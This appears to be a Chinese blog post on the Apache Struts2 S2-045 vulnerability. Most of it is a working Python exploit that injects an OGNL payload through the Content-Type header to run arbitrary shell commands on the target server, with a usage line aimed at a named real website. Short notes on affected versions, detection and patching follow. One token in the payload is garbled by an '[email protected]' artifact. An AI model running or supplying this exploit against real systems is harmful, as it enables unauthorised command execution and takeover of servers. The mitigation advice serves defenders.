s2-045 java_Struts2远程代码执行漏洞S2-045利用及修复

#! /usr/bin/env python

# encoding:utf-8

import urllib2

import sys

from poster.encode import multipart_encode

from poster.streaminghttp import register_openers

def poc():

register_openers()

datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})

header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"

header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+sys.argv[2]+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

try:

request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)

response = urllib2.urlopen(request)

print response.read()

except Exception,e:

print e

poc()

POC使用方法:st2-045.py http://www.secpulse.com whoami

漏洞影响范围:Struts 2.3.5 - Struts 2.3.31 Struts 2.5 - Struts 2.5.10

漏洞修复建议(或缓解措施):

检测方式查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar ,如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞,

更行至Strusts2.3.32或者Strusts2.5.10.1,或使用第三方的防护设备进行防护。

临时解决方案:删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)。

你可能感兴趣的:(s2-045,java)